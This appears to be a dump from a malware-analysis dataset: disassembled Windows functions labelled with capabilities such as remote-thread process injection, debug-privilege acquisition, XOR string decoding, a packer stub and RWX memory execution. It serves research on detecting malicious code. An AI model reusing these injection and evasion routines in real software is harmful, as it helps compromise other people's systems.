joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b9e7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx + 0x180]
sub esp, 0x2c8
push esi
push edi
test eax, eax
je 0x41ba10
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x41baaf
lea esi, [ebx + 0x17c]
call fcn.0041249f
push 1
lea edi, [ebp - 0x2c8]
call fcn.00418ea3
xor edi, edi
push edi
lea eax, [ebp - 0xc0]
push eax
push 0x2937498d
call fcn.00418b4d
push 0x44
pop edx
push edx
push edi
lea eax, [ebp - 0x58]
push eax
call fcn.00410b43
push dword [ebx + 0xc]
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push 0x404af8
lea eax, [ebp - 0x2c8]
push eax
call fcn.00412357
test eax, eax
jne 0x41ba81
xor al, al
jmp 0x41bab1
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.00410acc
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x41baaf
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0041249f
jmp 0x41ba7d
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x41bb49
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push dword [ebp + 8]
mov ebx, eax
call fcn.0041ca78
movzx eax, ax
mov dword [ebp - 0xc], eax
test al, 1
jne 0x41bcb2
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x41bba9
push 2
lea eax, [ebx + 0x50]
push eax
push dword [ebp - 8]
lea eax, [ebx + 0x3c]
push eax
mov eax, dword [ebx + 0x4c]
lea ecx, [ebp - 0x88]
call fcn.004150ed
lea eax, [ebp - 0x88]
push eax
call fcn.00414273
mov byte [ebp - 1], al
jmp 0x41bbad
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
je 0x41bc02
test byte [ebp - 0xc], 0x10
jne 0x41bc02
push dword [ebx + 0xc]
call esi
movzx eax, word [edi + 0xc]
movzx ecx, word [edi + 8]
shl eax, 0x10
or eax, ecx
movzx ecx, word [edi]
push eax
movzx eax, word [edi + 4]
shl eax, 0x10
or eax, ecx
push eax
push dword [ebx + 8]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x41bc02
push 0x64
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x41bcb2
call fcn.0041b9e7
test al, al
je 0x41bc71
mov eax, dword [ebx + 0x10]
push 0x10
push edi
add eax, 0x114
push eax
call fcn.00410acc
push dword [ebx + 0xc]
call esi
push dword [ebp + 8]
push 0xfffffffffffffffc
push dword [ebx + 8]
push dword [ebx + 0x188]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
je 0x41bc71
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41bc5c
mov eax, dword [ebx + 0x10]
cmp byte [eax + 0x124], 1
jne 0x41bc71
mov al, byte [ebp - 1]
jmp 0x41bcb4
push 0
lea esi, [ebx + 0x17c]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0041249f
mov eax, dword [ebp + 0xc]
test dword [eax + 0x24], 0x40000000
jne 0x41bcb2
push edi
add eax, 4
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_IntersectRect]
push 6
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_FillRect]
push 0xf
push 0xa
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_DrawEdge]
mov al, 1
pop esi
pop ebx
leave
ret 8

Function at 0x41bd8e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp word [0x423a90], 0
push esi
push edi
mov edi, 0x423a90
mov esi, 0x423c98
jne 0x41bdcc
push 2
call fcn.00418ea3
mov ecx, edi
call fcn.004115df
add eax, eax
push eax
push edi
push esi
call fcn.00410acc
xor ecx, ecx
push esi
mov word [eax + 0x423c98], cx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test ebx, ebx
je 0x41bde8
or eax, 0xffffffff
mov ecx, edi
mov edx, ebx
call fcn.00410e31
push 0x404b00
push ebx
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
cmp byte [esp + 0xc], 0
je 0x41be16
cmp byte [0x42382c], 1
jbe 0x41be16
push esi
call fcn.004160a7
push esi
call fcn.00414111
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41be16
push edi
call fcn.00414111
pop edi
pop esi
ret 4
Function at 0x41becf
Capabilities:
Get session user name
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 0
push edi
mov bl, 1
mov byte [ebp - 1], 0
jne 0x41beff
call fcn.00416381
mov dword [esi], eax
test eax, eax
jne 0x41befb
xor al, al
jmp 0x41c104
mov byte [ebp - 1], 1
test byte [ebp + 0xc], 1
mov edi, 0x20000
je 0x41bf51
lea eax, [ebp - 0x228]
push eax
call fcn.00418e51
push 0x2711
push esi
lea ecx, [ebp - 0x224]
call fcn.00416442
mov bl, al
test bl, bl
je 0x41bf74
lea eax, [ebp - 0x3c]
push eax
call fcn.00418faf
cmp word [ebp - 0x3c], 0
je 0x41bf4d
push 0x2712
push esi
lea ecx, [ebp - 0x3c]
call fcn.00416442
mov bl, al
test bl, bl
je 0x41bf74
test byte [ebp + 0xc], 2
je 0x41bf74
lea eax, [ebp - 8]
push eax
push edi
push 0x2713
push 4
pop ebx
mov eax, esi
mov dword [ebp - 8], 0x2000809
call fcn.00416395
mov bl, al
test byte [ebp + 0xc], 4
je 0x41bfed
test bl, bl
je 0x41c0f2
call fcn.00410b92
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push edi
push 0x2719
push 4
pop ebx
mov eax, esi
call fcn.00416395
mov bl, al
test bl, bl
je 0x41c0f2
call fcn.00410bba
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push edi
push 0x271b
push 4
pop ebx
mov eax, esi
call fcn.00416395
mov bl, al
test bl, bl
je 0x41c0f2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push edi
push 0x271a
push 4
pop ebx
mov eax, esi
call fcn.00416395
mov bl, al
test bl, bl
je 0x41c0f2
test byte [ebp + 0xc], 8
je 0x41c047
lea esi, [ebp - 0x10]
call fcn.0040e831
mov eax, esi
push eax
mov eax, dword [ebp + 8]
push edi
push 0x271c
push 6
pop ebx
call fcn.00416395
mov bl, al
test bl, bl
je 0x41c0ef
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx eax, ax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
push edi
push 0x271d
push 2
pop ebx
call fcn.00416395
mov esi, dword [ebp + 8]
mov bl, al
test bl, bl
je 0x41c0f2
test byte [ebp + 0xc], 0x10
je 0x41c0d3
push 0x103
lea eax, [ebp - 0x248]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp + 8], eax
test eax, eax
je 0x41c08d
xor ecx, ecx
push 0x271e
mov word [ebp + eax*2 - 0x248], cx
push esi
lea ecx, [ebp - 0x248]
call fcn.00416442
mov bl, al
mov dword [ebp + 8], 0x104
test bl, bl
je 0x41c0f2
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x248]
push eax
push 2
call dword [sym.imp.Secur32.dll_GetUserNameExW]
test al, al
je 0x41c0d3
mov eax, dword [ebp + 8]
test eax, eax
je 0x41c0d3
xor ecx, ecx
push 0x271f
mov word [ebp + eax*2 - 0x248], cx
push esi
lea ecx, [ebp - 0x248]
call fcn.00416442
mov bl, al
test bl, bl
je 0x41c0f2
test byte [ebp + 0xc], 0x20
je 0x41c102
push 2
push esi
call fcn.0041be1b
push 0x17
push esi
call fcn.0041be1b
jmp 0x41c102
mov esi, dword [ebp + 8]
cmp byte [ebp - 1], 1
jne 0x41c102
push dword [esi]
call fcn.00410a90
and dword [esi], 0
mov al, bl
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x41c9b6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
lea eax, [ebp - 0x424]
push eax
push 0xf6
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0xf5
ja 0x41ca70
lea eax, [ebp - 0x21c]
push eax
push ebx
push 0x404b28
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x41ca70
lea eax, [ebp - 0x21c]
push eax
call fcn.00415df6
test al, al
je 0x41ca70
push dword [ebp + 0xc]
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp + 8]
call fcn.00414a69
test al, al
je 0x41ca70
lea eax, [ebp - 0x21c]
push eax
push 2
pop eax
lea esi, [ebp - 0x10]
call fcn.00415cb0
test al, al
je 0x41ca64
lea eax, [ebp - 0x21c]
cmp dword [ebp + 8], ebx
je 0x41ca49
mov eax, dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
push eax
push 2
call fcn.0041c7ad
mov bl, al
lea eax, [ebp - 0x10]
call fcn.00415d58
lea eax, [ebp - 0x21c]
push eax
call fcn.00415df6
pop esi
mov al, bl
pop ebx
leave
ret 0xc
Function at 0x41d66f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x47a
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x41d6ef
push esi
push ebx
push dword [ebp + 0xc]
call fcn.00418bc0
mov esi, eax
cmp esi, ebx
je 0x41d6e7
sub eax, dword [0x4235d4]
push ebx
push ebx
push ebx
add eax, 0x419363
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 8], eax
cmp eax, ebx
je 0x41d6d9
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 1], 1
jmp 0x41d6e7
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret 8
Function at 0x41d6f8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
xor edi, edi
mov byte [esp + 0xf], 0
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edi
cmp eax, 0xffffffff
je 0x41d86f
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
mov dword [esp + 0x30], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x41d857
mov ecx, dword [esp + 0x30]
cmp ecx, edi
jbe 0x41d848
cmp ecx, dword [0x423830]
je 0x41d848
xor eax, eax
cmp dword [esp + 0x10], edi
jbe 0x41d786
mov edx, dword [esp + 0x14]
cmp dword [edx + eax*4], ecx
je 0x41d848
inc eax
cmp eax, dword [esp + 0x10]
jb 0x41d772
push ecx
call fcn.00418adc
mov dword [esp + 0x20], eax
cmp eax, edi
je 0x41d848
push dword [esp + 0x30]
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x41d842
lea eax, [esp + 0x24]
push eax
push esi
call fcn.004120a7
push esi
mov edi, eax
call ebx
test edi, edi
je 0x41d840
mov eax, dword [esp + 0x24]
cmp eax, dword [0x4235d0]
jne 0x41d83a
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
cmp eax, dword [0x4235c8]
jne 0x41d83a
mov ecx, dword [edi]
push eax
mov eax, dword [0x4235c4]
mov eax, dword [eax]
call fcn.00410b01
test eax, eax
jne 0x41d83a
mov ecx, dword [esp + 0x10]
lea ecx, [ecx*4 + 4]
lea esi, [esp + 0x14]
call fcn.00410a1b
test al, al
je 0x41d83a
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x14]
push dword [esp + 0x20]
inc dword [esp + 0x14]
inc dword [esp + 0x20]
mov dword [ecx + edx*4], eax
push dword [esp + 0x34]
call fcn.0041d66f
test al, al
je 0x41d83a
mov byte [esp + 0xf], 1
push edi
call fcn.00410a90
xor edi, edi
push dword [esp + 0x20]
call ebx
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x41d752
push dword [esp + 0x18]
call ebx
cmp dword [esp + 0x1c], edi
jne 0x41d71c
push dword [esp + 0x14]
call fcn.00410a90
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x10001760
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007b1f0
push 0x1004b860
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x10080040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100017f5
xor al, al
jmp 0x1000187e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001820
xor al, al
jmp 0x1000187e
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x1000186b
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004a015
mov esp, ebp
pop ebp
ret

Function at 0x10004a10
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.1000f4d0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10004390
push 0
push 0
mov dword [0x10085040], eax
mov dword [0x10085044], edx
mov dword [0x10085048], eax
mov dword [0x1008504c], edx
call esi
mov ebx, eax
test ebx, ebx
je 0x10004a88
push 0
push 0
push 0
push 0x10004630
push 0
push 0
call esi
mov edi, eax
test edi, edi
je 0x10004a88
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push ebx
call esi
push 0x64
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
push 1
call fcn.1005452d
int3
Function at 0x1000b0b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006bc02
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x10080040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x158], esi
mov dword [ebp - 0x178], esi
lea ecx, [ebp - 0x157]
mov dword [ebp - 0x158], 1
lea edx, [ecx + 1]
xorps xmm0, xmm0
mov word [ebp - 0x158], 6
movups xmmword [esi], xmm0
mov byte [ebp - 0x157], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b124
sub ecx, edx
lea eax, [ebp - 0x157]
push ecx
push eax
mov ecx, esi
call fcn.10002130
mov dword [ebp - 4], 0
mov dword [ebp - 0x158], 1
test edi, edi
je 0x1000b29e
movaps xmm0, xmmword [0x10078ff0]
xor ecx, ecx
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x164], 0x131b5b13
mov dword [ebp - 0x160], 0x7e131652
mov dword [ebp - 0x15c], 0x7b130c
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x174]
xor byte [ebp + ecx - 0x173], al
inc ecx
cmp ecx, 0x1a
jb 0x1000b190
xorps xmm0, xmm0
mov byte [ebp - 0x159], 0
lea ecx, [ebp - 0x173]
mov dword [ebp - 0x120], 0
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b1d1
sub ecx, edx
lea eax, [ebp - 0x173]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.10002130
lea eax, [ebp - 0x118]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x154]
mov dword [ebp - 0x118], edi
push eax
mov dword [ebp - 0x114], 0
call fcn.10054f18
cmp dword [ebp - 0x11c], 0xf
lea ecx, [ebp - 0x154]
push ecx
lea eax, [ebp - 0x130]
cmova eax, dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x110]
push 0x100
push eax
call fcn.10055328
lea ecx, [ebp - 0x110]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b250
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
mov ecx, esi
call fcn.10001e50
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x1000b29e
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000b294
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b2bb
push ecx
push edx
call fcn.1004a076
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004a015
mov esp, ebp
pop ebp
ret
call fcn.1004f344
int3
Function at 0x1000e280
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x10080040]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x1000e2ca
mov dword [edi], 0
mov eax, edi
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.1004a015
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x1c], 0
jg 0x1000e2da
jl 0x1000e2a9
cmp dword [esp + 0x18], 0
jbe 0x1000e2a9
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [esp + 0x10]
push eax
xor esi, esi
call ebx
test eax, eax
jne 0x1000e301
nop dword [eax]
inc esi
cmp esi, 3
ja 0x1000e2a9
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x1000e2f0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
call fcn.1004b070
mulsd xmm0, qword [0x10078c88]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
movsd qword [esp + 0x10], xmm0
call fcn.1004b070
movsd xmm1, qword [esp + 0x10]
divsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.1004af70
mov ecx, dword [esp + 0x24]
mov dword [edi], eax
mov eax, edi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1004a015
mov esp, ebp
pop ebp
ret

Function at 0x1000e6f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x10080b6c], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x10080b6c], edx
inc eax
cmp eax, 0x270
jb 0x1000e701
mov dword [0x10080b68], 0x270
pop ebp
ret 8
Function at 0x1000e730
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x1000e78d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x1000e750
mov eax, dword [esi]
jmp 0x1000e86b
cmp eax, 0x4e0
jb 0x1000e86b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x1000e7a6
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x1000e7f1
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000f4d0
Capabilities:
Acquire debug privileges
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x10080040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
call esi
test eax, eax
jne 0x1000f4f4
call esi
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000f5cc
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000f5cc
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000f5cc
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000f5cc
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000f5cc
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000f5cc
push dword [esp + 0x20]
call esi
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000f666
movaps xmm0, xmmword [0x10078f20]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 0xf
nop dword [eax]
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x10
jb 0x1000f600
lea eax, [esp + 0x24]
mov byte [esp + 0x1d], 0
push eax
lea eax, [esp + 0x11]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000f660
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0x10
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x34]
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x20]
call esi
call fcn.1000fc60
mov dword [0x10085114], eax
test eax, eax
je 0x1000f67b
mov ecx, eax
call fcn.1000fe50
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1004a015
mov esp, ebp
pop ebp
ret